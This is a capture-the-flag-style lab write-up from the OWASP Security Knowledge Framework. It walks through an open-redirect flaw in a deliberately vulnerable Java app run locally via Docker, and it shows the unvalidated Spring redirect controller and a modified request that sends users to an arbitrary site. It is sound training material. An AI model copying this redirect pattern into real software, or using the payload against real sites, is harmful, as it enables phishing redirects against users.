> For the complete documentation index, see [llms.txt](https://skf.gitbook.io/asvs-write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://skf.gitbook.io/asvs-write-ups/url-redirection/url-redirection-1.md).

# Java - URL Redirection

## Running the app on Docker

```
$ sudo docker pull blabla1337/owasp-skf-lab:java-url-redirection
```

```
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-url-redirection
```

{% hint style="success" %}
Now that the app is running let's go hacking!
{% endhint %}

## Reconnaissance

### Step 1

The application shows that there is a new version of the website available somewhere, and a click on the button "Go to new website" will redirect you to it.

![](https://raw.githubusercontent.com/blabla1337/skf-labs/master/.gitbook/assets/python/Url-Redirection/1.png)

If we click on the button we will be redirected on the new page <http://localhost:5000/newsite>

![](https://raw.githubusercontent.com/blabla1337/skf-labs/master/.gitbook/assets/python/Url-Redirection/2.png)

### Step 2

Intercepting the traffic generated by the application, we note that the redirection is performed using the following call

```
GET /redirect?newurl=newsite
```

![](https://raw.githubusercontent.com/blabla1337/skf-labs/master/.gitbook/assets/python/Url-Redirection/3.png)

That will generate a 302 Redirect response from the server.

Inspecting the source code, it's possible to see no input validation of *newurl* query string parameter is in place.

```java
public String redirect(@RequestParam(name="newurl", required=true) String newurl, Model model) {
		return "redirect:"+newurl;
	}
```

## Exploitation

The exploitation is pretty straightforward. Replay the redirection request, but at this time change the value of *newurl* into another URL.

*Original request*

```
http://0.0.0.0:5000/redirect?newurl=newsite
```

*Modified request*

```
http://0.0.0.0:5000/redirect?newurl=https://www.google.com
```

![](https://raw.githubusercontent.com/blabla1337/skf-labs/master/.gitbook/assets/python/Url-Redirection/4.png)

Using the payload above we will be able to successfully redirect a user to any website:

![](https://raw.githubusercontent.com/blabla1337/skf-labs/master/.gitbook/assets/python/Url-Redirection/5.png)

## Additional sources

* <https://www.owasp.org/index.php/Testing_for_Client_Side_URL_Redirect_(OTG-CLIENT-004)>